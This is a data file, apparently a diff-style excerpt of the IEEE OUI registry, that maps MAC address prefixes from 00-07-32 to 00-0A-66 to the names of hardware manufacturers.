+00-07-32:AAEON Technology Inc. +00-07-33:DANCONTROL Engineering +00-07-34:ONStor, Inc. +00-07-35:Flarion Technologies, Inc. +00-07-36:Data Video Technologies Co., Ltd. +00-07-37:Soriya Co. Ltd. +00-07-38:Young Technology Co., Ltd. +00-07-39:Motion Media Technology Ltd. +00-07-3A:Inventel Systemes +00-07-3B:Tenovis GmbH & Co KG +00-07-3C:Telecom Design +00-07-3D:Nanjing Postel Telecommunications Co., Ltd. +00-07-3E:China Great-Wall Computer Shenzhen Co., Ltd. +00-07-3F:Woojyun Systec Co., Ltd. +00-07-40:Melco Inc. +00-07-41:Sierra Automated Systems +00-07-42:Current Technologies +00-07-43:Chelsio Communications +00-07-44:Unico, Inc. +00-07-45:Radlan Computer Communications Ltd. +00-07-46:Interlink BT, LLC +00-07-47:Mecalc +00-07-48:The Imaging Source Europe +00-07-49:CENiX Inc. +00-07-4A:Carl Valentin GmbH +00-07-4B:Daihen Corporation +00-07-4C:Beicom Inc. +00-07-4D:Zebra Technologies Corp. +00-07-4E:Naughty boy co., Ltd. +00-07-4F:Cisco Systems, Inc. +00-07-50:Cisco Systems, Inc. +00-07-51:m.u.t. - GmbH +00-07-52:Rhythm Watch Co., Ltd. +00-07-53:Beijing Qxcomm Technology Co., Ltd. +00-07-54:Xyterra Computing, Inc. +00-07-55:Lafon SA +00-07-56:Juyoung Telecom +00-07-57:Topcall International AG +00-07-58:Dragonwave +00-07-59:Boris Manufacturing Corp. +00-07-5A:Air Products and Chemicals, Inc. +00-07-5B:Gibson Guitars +00-07-5C:ENCAD, Inc. +00-07-5D:Celleritas Inc. +00-07-5E:Pulsar Technologies, Inc. +00-07-5F:VCS Video Communication Systems AG +00-07-60:TOMIS Information & Telecom Corp. +00-07-61:Logitech SA +00-07-62:Group Sense Limited +00-07-63:Sunniwell Cyber Tech. Co., Ltd. +00-07-64:YoungWoo Telecom Co. Ltd. +00-07-65:Jade Quantum Technologies, Inc. +00-07-66:Chou Chin Industrial Co., Ltd. +00-07-67:Yuxing Electronics Company Limited +00-07-68:Danfoss A/S +00-07-69:Italiana Macchi SpA +00-07-6A:NEXTEYE Co., Ltd. +00-07-6B:Stralfors AB +00-07-6C:Daehanet, Inc. +00-07-6D:Flexlight Networks +00-07-6E:Sinetica Corporation Ltd. +00-07-6F:Synoptics Limited +00-07-70:Locusnetworks Corporation +00-07-71:Embedded System Corporation +00-07-72:Alcatel Shanghai Bell Co., Ltd. +00-07-73:Ascom Powerline Communications Ltd. +00-07-74:GuangZhou Thinker Technology Co. Ltd. +00-07-75:Valence Semiconductor, Inc. +00-07-76:Federal APD +00-07-77:Motah Ltd. +00-07-78:GERSTEL GmbH & Co. KG +00-07-79:Sungil Telecom Co., Ltd. +00-07-7A:Infoware System Co., Ltd. +00-07-7B:Millimetrix Broadband Networks +00-07-7C:OnTime Networks +00-07-7E:Elrest GmbH +00-07-7F:J Communications Co., Ltd. +00-07-80:Bluegiga Technologies OY +00-07-81:Itron Inc. +00-07-82:Nauticus Networks, Inc. +00-07-83:SynCom Network, Inc. +00-07-84:Cisco Systems Inc. +00-07-85:Cisco Systems Inc. +00-07-86:Wireless Networks Inc. +00-07-87:Idea System Co., Ltd. +00-07-88:Clipcomm, Inc. +00-07-89:Eastel Systems Corporation +00-07-8A:Mentor Data System Inc. +00-07-8B:Wegener Communications, Inc. +00-07-8C:Elektronikspecialisten i Borlange AB +00-07-8D:NetEngines Ltd. +00-07-8E:Garz & Friche GmbH +00-07-8F:Emkay Innovative Products +00-07-90:Tri-M Technologies (s) Limited +00-07-91:International Data Communications, Inc. +00-07-92:Suetron Electronic GmbH +00-07-93:Shin Satellite Public Company Limited +00-07-94:Simple Devices, Inc. +00-07-95:Elitegroup Computer System Co. (ECS) +00-07-96:LSI Systems, Inc. +00-07-97:Netpower Co., Ltd. +00-07-98:Selea SRL +00-07-99:Tipping Point Technologies, Inc. +00-07-9A:SmartSight Networks Inc. +00-07-9B:Aurora Networks +00-07-9C:Golden Electronics Technology Co., Ltd. +00-07-9D:Musashi Co., Ltd. +00-07-9E:Ilinx Co., Ltd. +00-07-9F:Action Digital Inc. +00-07-A0:e-Watch Inc. +00-07-A1:VIASYS Healthcare GmbH +00-07-A2:Opteon Corporation +00-07-A3:Ositis Software, Inc. +00-07-A4:GN Netcom Ltd. +00-07-A5:Y.D.K Co. Ltd. +00-07-A6:Home Automation, Inc. +00-07-A7:A-Z Inc. +00-07-A8:Haier Group Technologies Ltd. +00-07-A9:Novasonics +00-07-AA:Quantum Data Inc. +00-07-AC:Eolring +00-07-AD:Pentacon GmbH Foto-und Feinwerktechnik +00-07-AE:Layer N Networks +00-07-AF:N-Tron Corp. +00-07-B0:Office Details, Inc. +00-07-B1:Equator Technologies +00-07-B2:Transaccess S.A. +00-07-B3:Cisco Systems Inc. +00-07-B4:Cisco Systems Inc. +00-07-B5:Any One Wireless Ltd. +00-07-B6:Telecom Technology Ltd. +00-07-B7:Samurai Ind. Prods Eletronicos Ltda +00-07-B8:American Predator Corp. +00-07-B9:Ginganet Corporation +00-07-BA:Xebeo Communications, Inc. +00-07-BB:Candera Inc. +00-07-BC:Identix Inc. +00-07-BD:Radionet Ltd. +00-07-BE:DataLogic SpA +00-07-BF:Armillaire Technologies, Inc. +00-07-C0:NetZerver Inc. +00-07-C1:Overture Networks, Inc. +00-07-C2:Netsys Telecom +00-07-C3:Cirpack +00-07-C4:JEAN Co. Ltd. +00-07-C5:Gcom, Inc. +00-07-C6:VDS Vosskuhler GmbH +00-07-C7:Synectics Systems Limited +00-07-C8:Brain21, Inc. +00-07-C9:Technol Seven Co., Ltd. +00-07-CA:Creatix Polymedia Ges Fur Kommunikaitonssysteme +00-07-CB:Freebox SA +00-07-CC:Kaba Benzing GmbH +00-07-CD:NMTEL Co., Ltd. +00-07-CE:Cabletime Limited +00-07-CF:Anoto AB +00-07-D0:Automat Engenharia de Automaoa Ltda. +00-07-D1:Spectrum Signal Processing Inc. +00-07-D2:Logopak Systeme +00-07-D3:Stork Digital Imaging B.V. +00-07-D4:Zhejiang Yutong Network Communication Co Ltd. +00-07-D5:3e Technologies Int;., Inc. +00-07-D6:Commil Ltd. +00-07-D7:Caporis Networks AG +00-07-D8:Hitron Systems Inc. +00-07-D9:Splicecom +00-07-DA:Neuro Telecom Co., Ltd. +00-07-DB:Kirana Networks, Inc. +00-07-DC:Atek Co, Ltd. +00-07-DD:Cradle Technologies +00-07-DE:eCopilt AB +00-07-DF:Vbrick Systems Inc. +00-07-E0:Palm Inc. +00-07-E1:WIS Communications Co. Ltd. +00-07-E2:Bitworks, Inc. +00-07-E3:Navcom Technology, Inc. +00-07-E4:SoftRadio Co., Ltd. +00-07-E5:Coup Corporation +00-07-E6:edgeflow Canada Inc. +00-07-E7:FreeWave Technologies +00-07-E8:St. Bernard Software +00-07-E9:Intel Corporation +00-07-EA:Massana, Inc. +00-07-EB:Cisco Systems Inc. +00-07-EC:Cisco Systems Inc. +00-07-ED:Altera Corporation +00-07-EE:telco Informationssysteme GmbH +00-07-EF:Lockheed Martin Tactical Systems +00-07-F0:LogiSync Corporation +00-07-F1:TeraBurst Networks Inc. +00-07-F2:IOA Corporation +00-07-F3:Think Engine Networks +00-07-F4:Eletex Co., Ltd. +00-07-F5:Bridgeco Co AG +00-07-F6:Qqest Software Systems +00-07-F7:Galtronics +00-07-F8:ITDevices, Inc. +00-07-F9:Phonetics, Inc. +00-07-FA:ITT Co., Ltd. +00-07-FB:Giga Stream UMTS Technologies GmbH +00-07-FC:Adept Systems Inc. +00-07-FD:LANergy Ltd. +00-07-FE:Rigaku Corporation +00-07-FF:Gluon Networks +00-08-00:MULTITECH SYSTEMS, INC. +00-08-01:HighSpeed Surfing Inc. +00-08-02:Compaq Computer Corporation +00-08-03:Cos Tron +00-08-04:ICA Inc. +00-08-05:Techno-Holon Corporation +00-08-06:Raonet Systems, Inc. +00-08-07:Access Devices Limited +00-08-08:PPT Vision, Inc. +00-08-09:Systemonic AG +00-08-0A:Espera-Werke GmbH +00-08-0B:Birka BPA Informationssystem AB +00-08-0C:VDA elettronica SrL +00-08-0D:Toshiba +00-08-0E:Motorola, BCS +00-08-0F:Proximion Fiber Optics AB +00-08-10:Key Technology, Inc. +00-08-11:VOIX Corporation +00-08-12:GM-2 Corporation +00-08-13:Diskbank, Inc. +00-08-14:TIL Technologies +00-08-15:CATS Co., Ltd. +00-08-16:Bluetags A/S +00-08-17:EmergeCore Networks LLC +00-08-18:Pixelworks, Inc. +00-08-19:Banksys +00-08-1A:Sanrad Intelligence Storage Communications (2000) Ltd. +00-08-1B:Windigo Systems +00-08-1C:@pos.com +00-08-1D:Ipsil, Incorporated +00-08-1E:Repeatit AB +00-08-1F:Pou Yuen Tech Corp. Ltd. +00-08-20:Cisco Systems Inc. +00-08-21:Cisco Systems Inc. +00-08-22:InPro Comm +00-08-23:Texa Corp. +00-08-24:Promatek Industries Ltd. +00-08-25:Acme Packet +00-08-26:Colorado Med Tech +00-08-27:Pirelli Cables & Systems +00-08-28:Koei Engineering Ltd. +00-08-29:Aval Nagasaki Corporation +00-08-2A:Powerwallz Network Security +00-08-2B:Wooksung Electronics, Inc. +00-08-2C:Homag AG +00-08-2D:Indus Teqsite Private Limited +00-08-2E:Multitone Electronics PLC +00-08-4E:DivergeNet, Inc. +00-08-4F:Qualstar Corporation +00-08-50:Arizona Instrument Corp. +00-08-51:Canadian Bank Note Company, Ltd. +00-08-52:Davolink Co. Inc. +00-08-53:Schleicher GmbH & Co. Relaiswerke KG +00-08-54:Netronix, Inc. +00-08-55:NASA-Goddard Space Flight Center +00-08-56:Gamatronic Electronic Industries Ltd. +00-08-57:Polaris Networks, Inc. +00-08-58:Novatechnology Inc. +00-08-59:ShenZhen Unitone Electronics Co., Ltd. +00-08-5A:IntiGate Inc. +00-08-5B:Hanbit Electronics Co., Ltd. +00-08-5C:Shanghai Dare Technologies Co. Ltd. +00-08-5D:Aastra +00-08-5E:PCO AG +00-08-5F:Picanol N.V. +00-08-60:LodgeNet Entertainment Corp. +00-08-61:SoftEnergy Co., Ltd. +00-08-62:NEC Eluminant Technologies, Inc. +00-08-63:Entrisphere Inc. +00-08-64:Fasy S.p.A. +00-08-65:JASCOM CO., LTD +00-08-66:DSX Access Systems, Inc. +00-08-67:Uptime Devices +00-08-68:PurOptix +00-08-69:Command-e Technology Co.,Ltd. +00-08-6A:Industrie Technik IPS GmbH +00-08-6B:MIPSYS +00-08-6C:Plasmon LMS +00-08-6D:Missouri FreeNet +00-08-6E:Hyglo AB +00-08-6F:Resources Computer Network Ltd. +00-08-70:Rasvia Systems, Inc. +00-08-71:NORTHDATA Co., Ltd. +00-08-72:Sorenson Technologies, Inc. +00-08-73:DAP Design B.V. +00-08-74:Dell Computer Corp. +00-08-75:Acorp Electronics Corp. +00-08-76:SDSystem +00-08-77:Liebert HIROSS S.p.A. +00-08-78:Benchmark Storage Innovations +00-08-79:CEM Corporation +00-08-7A:Wipotec GmbH +00-08-7B:RTX Telecom A/S +00-08-7C:Cisco Systems, Inc. +00-08-7D:Cisco Systems Inc. +00-08-7E:Bon Electro-Telecom Inc. +00-08-7F:SPAUN electronic GmbH & Co. KG +00-08-80:BroadTel Canada Communications inc. +00-08-81:DIGITAL HANDS CO.,LTD. +00-08-82:SIGMA CORPORATION +00-08-83:Hewlett-Packard Company +00-08-84:Index Braille AB +00-08-85:EMS Dr. Thomas Wuensche +00-08-86:Hansung Teliann, Inc. +00-08-87:Maschinenfabrik Reinhausen GmbH +00-08-88:OULLIM Information Technology Inc,. +00-08-89:Echostar Technologies Corp +00-08-8A:Minds@Work +00-08-8B:Tropic Networks Inc. +00-08-8C:Quanta Network Systems Inc. +00-08-8D:Sigma-Links Inc. +00-08-8E:Nihon Computer Co., Ltd. +00-08-8F:ADVANCED DIGITAL TECHNOLOGY +00-08-90:AVILINKS SA +00-08-91:Lyan Inc. +00-08-92:EM Solutions +00-08-93:PRIVATE +00-08-94:InnoVISION Multimedia Ltd. +00-08-95:DIRC Technologie GmbH & Co.KG +00-08-96:Printronix, Inc. +00-08-97:Quake Technologies +00-08-98:Gigabit Optics Corporation +00-08-99:Netbind, Inc. +00-08-9A:Alcatel Microelectronics +00-08-9B:ICP Electronics Inc. +00-08-9C:Elecs Industry Co., Ltd. +00-08-9D:UHD-Elektronik +00-08-9E:Beijing Enter-Net co.LTD +00-08-9F:EFM Networks +00-08-A0:Stotz Feinmesstechnik GmbH +00-08-A1:CNet Technology Inc. +00-08-A2:ADI Engineering, Inc. +00-08-A3:Cisco Systems +00-08-A4:Cisco Systems +00-08-A5:Peninsula Systems Inc. +00-08-A6:Multiware & Image Co., Ltd. +00-08-A7:iLogic Inc. +00-08-A8:Systec Co., Ltd. +00-08-A9:SangSang Technology, Inc. +00-08-AA:KARAM +00-08-AB:EnerLinx.com, Inc. +00-08-AC:PRIVATE +00-08-AD:Toyo-Linx Co., Ltd. +00-08-AE:Packetfront +00-08-AF:Novatec Corporation +00-08-B0:BKtel communications GmbH +00-08-B1:ProQuent Systems +00-08-B2:SHENZHEN COMPASS TECHNOLOGY DEVELOPMENT CO.,LTD +00-08-B3:Fastwel +00-08-B4:SYSPOL +00-08-B5:TAI GUEN ENTERPRISE CO., LTD +00-08-B6:RouteFree, Inc. +00-08-B7:HIT Incorporated +00-08-B8:E.F. Johnson +00-08-B9:KAON MEDIA Co., Ltd. +00-08-BA:Erskine Systems Ltd +00-08-BB:NetExcell +00-08-BC:Ilevo AB +00-08-BD:TEPG-US +00-08-BE:XENPAK MSA Group +00-08-BF:Aptus Elektronik AB +00-08-C0:ASA SYSTEMS +00-08-C1:Avistar Communications Corporation +00-08-C2:Cisco Systems +00-08-C3:Contex A/S +00-08-C4:Hikari Co.,Ltd. +00-08-C5:Liontech Co., Ltd. +00-08-C6:Philips Consumer Communications +00-08-C7:COMPAQ COMPUTER CORPORATION +00-08-C8:Soneticom, Inc. +00-08-C9:TechniSat Digital GmbH +00-08-CA:TwinHan Technology Co.,Ltd +00-08-CB:Zeta Broadband Inc. +00-08-CC:Remotec, Inc. +00-08-CD:With-Net Inc +00-08-CE:PRIVATE +00-08-CF:Nippon Koei Power Systems Co., Ltd. +00-08-D0:Musashi Engineering Co., LTD. +00-08-D1:KAREL INC. +00-08-D2:ZOOM Networks Inc. +00-08-D3:Hercules Technologies S.A. +00-08-D4:IneoQuest Technologies, Inc +00-08-D5:Vanguard Managed Solutions +00-08-D6:HASSNET Inc. +00-08-D7:HOW CORPORATION +00-08-D8:Dowkey Microwave +00-08-D9:Mitadenshi Co.,LTD +00-08-DA:SofaWare Technologies Ltd. +00-08-DB:Corrigent Systems +00-08-DC:Wiznet +00-08-DD:Telena Communications, Inc. +00-08-DE:3UP Systems +00-08-DF:Alistel Inc. +00-08-E0:ATO Technology Ltd. +00-08-E1:Barix AG +00-08-E2:Cisco Systems +00-08-E3:Cisco Systems +00-08-E4:Envenergy Inc +00-08-E5:IDK Corporation +00-08-E6:Littlefeet +00-08-E7:SHI ControlSystems,Ltd. +00-08-E8:Excel Master Ltd. +00-08-E9:NextGig +00-08-EA:Motion Control Engineering, Inc +00-08-EB:ROMWin Co.,Ltd. +00-08-EC:Zonu, Inc. +00-08-ED:ST&T Instrument Corp. +00-08-EE:Logic Product Development +00-08-EF:DIBAL,S.A. +00-08-F0:Next Generation Systems, Inc. +00-08-F1:Voltaire +00-08-F2:C&S Technology +00-08-F3:WANY +00-08-F4:Bluetake Technology Co., Ltd. +00-08-F5:YESTECHNOLOGY Co.,Ltd. +00-08-F6:SUMITOMO ELECTRIC HIGHTECHS.co.,ltd. +00-08-F7:Hitachi Ltd, Semiconductor & Integrated Circuits Gr +00-08-F8:Guardall Ltd +00-08-F9:Padcom, Inc. +00-08-FA:Karl E.Brinkmann GmbH +00-08-FB:SonoSite, Inc. +00-08-FC:Gigaphoton Inc. +00-08-FD:BlueKorea Co., Ltd. +00-08-FE:UNIK C&C Co.,Ltd. +00-08-FF:Trilogy Broadcast (Holdings) Ltd +00-09-00:TMT +00-09-01:Shenzhen Shixuntong Information & Technoligy Co +00-09-02:Redline Communications Inc. +00-09-03:Panasas, Inc +00-09-04:MONDIAL electronic +00-09-05:iTEC Technologies Ltd. +00-09-06:Esteem Networks +00-09-07:Chrysalis Development +00-09-08:VTech Technology Corp. +00-09-09:Telenor Connect A/S +00-09-0A:SnedFar Technology Co., Ltd. +00-09-0B:MTL Instruments PLC +00-09-0C:Mayekawa Mfg. Co. Ltd. +00-09-0D:LEADER ELECTRONICS CORP. +00-09-0E:Helix Technology Inc. +00-09-0F:Fortinet Inc. +00-09-10:Simple Access Inc. +00-09-11:Cisco Systems +00-09-12:Cisco Systems +00-09-13:PRIVATE +00-09-14:COMPUTROLS INC. +00-09-15:CAS Corp. +00-09-16:Listman Home Technologies, Inc. +00-09-17:WEM Technology Inc +00-09-18:SAMSUNG TECHWIN CO.,LTD +00-09-19:MDS Gateways +00-09-1A:Macat Optics & Electronics Co., Ltd. +00-09-1B:Digital Generation Inc. +00-09-1C:CacheVision, Inc +00-09-1D:Proteam Computer Corporation +00-09-1E:Firstech Technology Corp. +00-09-1F:A&D Co., Ltd. +00-09-20:EpoX COMPUTER CO.,LTD. +00-09-21:Planmeca Oy +00-09-22:Touchless Sensor Technology AG +00-09-23:Heaman System Co., Ltd +00-09-24:Telebau GmbH +00-09-25:VSN Systemen BV +00-09-26:YODA COMMUNICATIONS, INC. +00-09-27:TOYOKEIKI CO.,LTD. +00-09-28:Telecore Inc +00-09-29:Sanyo Industries (UK) Limited +00-09-2A:MYTECS Co.,Ltd. +00-09-2B:iQstor Networks, Inc. +00-09-2C:Hitpoint Inc. +00-09-2D:High Tech Computer, Corp. +00-09-2E:B&Tech System Inc. +00-09-2F:Akom Technology Corporation +00-09-30:AeroConcierge Inc. +00-09-31:Future Internet, Inc. +00-09-32:Omnilux +00-09-33:OPTOVALLEY Co. Ltd. +00-09-34:Dream-Multimedia-Tv GmbH +00-09-35:Sandvine Incorporated +00-09-36:Ipetronik GmbH & Co.KG +00-09-37:Inventec Appliance Corp +00-09-38:Allot Communications +00-09-39:ShibaSoku Co.,Ltd. +00-09-3A:Molex Fiber Optics +00-09-3B:HYUNDAI NETWORKS INC. +00-09-3C:Jacques Technologies P/L +00-09-3D:Newisys,Inc. +00-09-3E:C&I Technologies +00-09-3F:Double-Win Enterpirse CO., LTD +00-09-40:AGFEO GmbH & Co. KG +00-09-41:Allied Telesis K.K. +00-09-42:CRESCO, LTD. +00-09-43:Cisco Systems +00-09-44:Cisco Systems +00-09-45:Palmmicro Communications Inc +00-09-46:Cluster Labs GmbH +00-09-47:Aztek, Inc. +00-09-48:Vista Control Systems, Corp. +00-09-49:Glyph Technologies Inc. +00-09-4A:Homenet Communications +00-09-4B:FillFactory NV +00-09-4C:Communication Weaver Co.,Ltd. +00-09-4D:Braintree Communications Pty Ltd +00-09-4E:BARTECH SYSTEMS INTERNATIONAL, INC +00-09-4F:elmegt GmbH & Co. KG +00-09-50:Independent Storage Corporation +00-09-51:Apogee Instruments, Inc +00-09-52:Auerswald GmbH & Co. KG +00-09-53:Linkage System Integration Co.Ltd. +00-09-54:AMiT spol. s. r. o. +00-09-55:Young Generation International Corp. +00-09-56:Network Systems Group, Ltd. (NSG) +00-09-57:Supercaller, Inc. +00-09-58:INTELNET S.A. +00-09-59:Sitecsoft +00-09-5A:RACEWOOD TECHNOLOGY +00-09-5B:Netgear, Inc. +00-09-5C:Philips Medical Systems - Cardiac and Monitoring Systems (CM +00-09-5D:Dialogue Technology Corp. +00-09-5E:Masstech Group Inc. +00-09-5F:Telebyte, Inc. +00-09-60:YOZAN Inc. +00-09-61:Switchgear and Instrumentation Ltd +00-09-62:Filetrac AS +00-09-63:Dominion Lasercom Inc. +00-09-64:Hi-Techniques +00-09-65:PRIVATE +00-09-66:Thales Navigation +00-09-67:Tachyon, Inc +00-09-68:TECHNOVENTURE, INC. +00-09-69:Meret Optical Communications +00-09-6A:Cloverleaf Communications Inc. +00-09-6B:IBM Corporation +00-09-6C:Imedia Semiconductor Corp. +00-09-6D:Powernet Technologies Corp. +00-09-6E:GIANT ELECTRONICS LTD. +00-09-6F:Beijing Zhongqing Elegant Tech. Corp.,Limited +00-09-70:Vibration Research Corporation +00-09-71:Time Management, Inc. +00-09-72:Securebase,Inc +00-09-73:Lenten Technology Co., Ltd. +00-09-74:Innopia Technologies, Inc. +00-09-75:fSONA Communications Corporation +00-09-76:Datasoft ISDN Systems GmbH +00-09-77:Brunner Elektronik AG +00-09-78:AIJI System Co., Ltd. +00-09-79:Advanced Television Systems Committee, Inc. +00-09-7A:Louis Design Labs. +00-09-7B:Cisco Systems +00-09-7C:Cisco Systems +00-09-7D:SecWell Networks Oy +00-09-7E:IMI TECHNOLOGY CO., LTD +00-09-7F:Vsecure 2000 LTD. +00-09-80:Power Zenith Inc. +00-09-81:Newport Networks +00-09-82:Loewe Opta GmbH +00-09-83:Gvision Incorporated +00-09-84:MyCasa Network Inc. +00-09-85:Auto Telecom Company +00-09-86:Metalink LTD. +00-09-87:NISHI NIPPON ELECTRIC WIRE & CABLE CO.,LTD. +00-09-88:Nudian Electron Co., Ltd. +00-09-89:VividLogic Inc. +00-09-8A:EqualLogic Inc +00-09-8B:Entropic Communications, Inc. +00-09-8C:Possio AB +00-09-8D:DCT Ltd (Digital Communication Technologies Ltd) +00-09-8E:ipcas GmbH +00-09-8F:Cetacean Networks +00-09-90:ACKSYS Communications & systems +00-09-91:GE Fanuc Automation Manufacturing, Inc. +00-09-92:InterEpoch Technology,INC. +00-09-93:Visteon Corporation +00-09-94:Cronyx Engineering +00-09-95:Castle Technology Ltd +00-09-96:RDI +00-09-97:Nortel Networks +00-09-98:Capinfo Company Limited +00-09-99:CP GEORGES RENAULT +00-09-9A:ELMO COMPANY, LIMITED +00-09-9B:Western Telematic Inc. +00-09-9C:Naval Research Laboratory +00-09-9D:Haliplex Communications +00-09-9E:Testech, Inc. +00-09-9F:VIDEX INC. +00-09-A0:Microtechno Corporation +00-09-A1:Telewise Communications, Inc. +00-09-A2:Interface Co., Ltd. +00-09-A3:Leadfly Techologies Corp. Ltd. +00-09-A4:HARTEC Corporation +00-09-A5:HANSUNG ELETRONIC INDUSTRIES DEVELOPMENT CO., LTD +00-09-A6:Ignis Optics, Inc. +00-09-A7:Bang & Olufsen A/S +00-09-A8:Eastmode Pte Ltd +00-09-A9:Ikanos Communications +00-09-AA:Data Comm for Business, Inc. +00-09-AB:Netcontrol Oy +00-09-AC:LANVOICE +00-09-AD:HYUNDAI SYSCOMM, INC. +00-09-AE:OKANO ELECTRIC CO.,LTD +00-09-AF:e-generis +00-09-B0:Onkyo Corporation +00-09-B1:Kanematsu Electronics, Ltd. +00-09-B2:L&F Inc. +00-09-B3:MCM Systems Ltd +00-09-B4:KISAN TELECOM CO., LTD. +00-09-B5:3J Tech. Co., Ltd. +00-09-B6:Cisco Systems +00-09-B7:Cisco Systems +00-09-B8:Entise Systems +00-09-B9:Action Imaging Solutions +00-09-BA:MAKU Informationstechik GmbH +00-09-BB:MathStar, Inc. +00-09-BC:Digital Safety Technologies Inc. +00-09-BD:Epygi Technologies, Ltd. +00-09-BE:Mamiya-OP Co.,Ltd. +00-09-BF:Nintendo Co.,Ltd. +00-09-C0:6WIND +00-09-C1:PROCES-DATA A/S +00-09-C2:PRIVATE +00-09-C3:NETAS +00-09-C4:Medicore Co., Ltd +00-09-C5:KINGENE Technology Corporation +00-09-C6:Visionics Corporation +00-09-C7:Movistec +00-09-C8:SINAGAWA TSUSHIN KEISOU SERVICE +00-09-C9:BlueWINC Co., Ltd. +00-09-CA:iMaxNetworks(Shenzhen)Limited. +00-09-CB:HBrain +00-09-CC:Moog GmbH +00-09-CD:HUDSON SOFT CO.,LTD. +00-09-CE:SpaceBridge Semiconductor Corp. +00-09-CF:iAd GmbH +00-09-D0:Versatel Networks +00-09-D1:SERANOA NETWORKS INC +00-09-D2:Mai Logic Inc. +00-09-D3:Western DataCom Co., Inc. +00-09-D4:Transtech Networks +00-09-D5:Signal Communication, Inc. +00-09-D6:KNC One GmbH +00-09-D7:DC Security Products +00-09-D8:PRIVATE +00-09-D9:Neoscale Systems, Inc +00-09-DA:Control Module Inc. +00-09-DB:eSpace +00-09-DC:Galaxis Technology AG +00-09-DD:Mavin Technology Inc. +00-09-DE:Samjin Information & Communications Co., Ltd. +00-09-DF:Vestel Komunikasyon Sanayi ve Ticaret A.S. +00-09-E0:XEMICS S.A. +00-09-E1:Gemtek Technology Co., Ltd. +00-09-E2:Sinbon Electronics Co., Ltd. +00-09-E3:Angel Iglesias S.A. +00-09-E4:K Tech Infosystem Inc. +00-09-E5:Hottinger Baldwin Messtechnik GmbH +00-09-E6:Cyber Switching Inc. +00-09-E7:ADC Techonology +00-09-E8:Cisco Systems +00-09-E9:Cisco Systems +00-09-EA:YEM Inc. +00-09-EB:HuMANDATA LTD. +00-09-EC:Daktronics, Inc. +00-09-ED:CipherOptics +00-09-EE:MEIKYO ELECTRIC CO.,LTD +00-09-EF:Vocera Communications +00-09-F0:Shimizu Technology Inc. +00-09-F1:Yamaki Electric Corporation +00-09-F2:Cohu, Inc., Electronics Division +00-09-F3:WELL Communication Corp. +00-09-F4:Alcon Laboratories, Inc. +00-09-F5:Emerson Network Power Co.,Ltd +00-09-F6:Shenzhen Eastern Digital Tech Ltd. +00-09-F7:SED, a division of Calian +00-09-F8:UNIMO TECHNOLOGY CO., LTD. +00-09-F9:ART JAPAN CO., LTD. +00-09-FB:Philips Medizinsysteme Boeblingen GmbH +00-09-FC:IPFLEX Inc. +00-09-FD:Ubinetics Limited +00-09-FE:Daisy Technologies, Inc. +00-09-FF:X.net 2000 GmbH +00-0A-00:Mediatek Corp. +00-0A-01:SOHOware, Inc. +00-0A-02:ANNSO CO., LTD. +00-0A-03:ENDESA SERVICIOS, S.L. +00-0A-04:3Com Europe Ltd +00-0A-05:Widax Corp. +00-0A-06:Teledex LLC +00-0A-07:WebWayOne Ltd +00-0A-08:ALPINE ELECTRONICS, INC. +00-0A-09:TaraCom Integrated Products, Inc. +00-0A-0A:SUNIX Co., Ltd. +00-0A-0B:Sealevel Systems, Inc. +00-0A-0C:Scientific Research Corporation +00-0A-0D:MergeOptics GmbH +00-0A-0E:Invivo Research Inc. +00-0A-0F:Ilryung Telesys, Inc +00-0A-10:FAST media integrations AG +00-0A-11:ExPet Technologies, Inc +00-0A-12:Azylex Technology, Inc +00-0A-13:Silent Witness +00-0A-14:TECO a.s. +00-0A-15:Silicon Data, Inc +00-0A-16:Lassen Research +00-0A-17:NESTAR COMMUNICATIONS, INC +00-0A-18:Vichel Inc. +00-0A-19:Valere Power, Inc. +00-0A-1A:Imerge Ltd +00-0A-1B:Stream Labs +00-0A-1C:Bridge Information Co., Ltd. +00-0A-1D:Optical Communications Products Inc. +00-0A-1E:Red-M (Communications) Limited +00-0A-1F:ART WARE Telecommunication Co., Ltd. +00-0A-20:SVA Networks, Inc. +00-0A-21:Integra Telecom Co. Ltd +00-0A-22:Amperion Inc +00-0A-23:Parama Networks Inc +00-0A-24:Octave Communications +00-0A-25:CERAGON NETWORKS +00-0A-26:CEIA S.p.A. +00-0A-27:Apple Computer, Inc. +00-0A-28:Motorola +00-0A-29:Pan Dacom Networking AG +00-0A-2A:QSI Systems Inc. +00-0A-2B:Etherstuff +00-0A-2C:Active Tchnology Corporation +00-0A-2D:PRIVATE +00-0A-2E:MAPLE NETWORKS CO., LTD +00-0A-2F:Artnix Inc. +00-0A-30:Johnson Controls-ASG +00-0A-31:HCV Wireless +00-0A-32:Xsido Corporation +00-0A-33:Sierra Logic, Inc. +00-0A-34:Identicard Systems Incorporated +00-0A-35:Xilinx +00-0A-36:Synelec Telecom Multimedia +00-0A-37:Procera Networks, Inc. +00-0A-38:Netlock Technologies, Inc. +00-0A-39:LoPA Information Technology +00-0A-3A:J-THREE INTERNATIONAL Holding Co., Ltd. +00-0A-3B:GCT Semiconductor, Inc +00-0A-3C:Enerpoint Ltd. +00-0A-3D:Elo Sistemas Eletronicos S.A. +00-0A-3E:EADS Telecom +00-0A-3F:Data East Corporation +00-0A-40:Crown Audio +00-0A-41:Cisco Systems +00-0A-42:Cisco Systems +00-0A-43:Chunghwa Telecom Co., Ltd. +00-0A-44:Avery Dennison Deutschland GmbH +00-0A-45:Audio-Technica Corp. +00-0A-46:ARO Controls SAS +00-0A-47:Allied Vision Technologies +00-0A-48:Albatron Technology +00-0A-49:Acopia Networks +00-0A-4A:Targa Systems Ltd. +00-0A-4B:DataPower Technology, Inc. +00-0A-4C:Molecular Devices Corporation +00-0A-4D:Noritz Corporation +00-0A-4E:UNITEK Electronics INC. +00-0A-4F:Brain Boxes Limited +00-0A-50:REMOTEK CORPORATION +00-0A-51:GyroSignal Technology Co., Ltd. +00-0A-52:Venitek Co. Ltd. +00-0A-53:Intronics, Incorporated +00-0A-54:Laguna Hills, Inc. +00-0A-55:MARKEM Corporation +00-0A-56:HITACHI Maxell Ltd. +00-0A-57:Hewlett-Packard Company - Standards +00-0A-58:Ingenieur-Buero Freyer & Siegel +00-0A-59:HW server +00-0A-5A:GreenNET Technologies Co.,Ltd. +00-0A-5B:Power-One as +00-0A-5C:Carel s.p.a. +00-0A-5D:PUC Founder (MSC) Berhad +00-0A-5E:3COM Corporation +00-0A-5F:almedio inc. +00-0A-60:Autostar Technology Pte Ltd +00-0A-61:Cellinx Systems Inc. +00-0A-62:Crinis Networks, Inc. +00-0A-63:DHD GmbH +00-0A-64:Eracom Technologies +00-0A-65:GentechMedia.co.,ltd. +00-0A-66:MITSUBISHI ELECTRIC SYSTEM & SERVICE CO.,LTD. 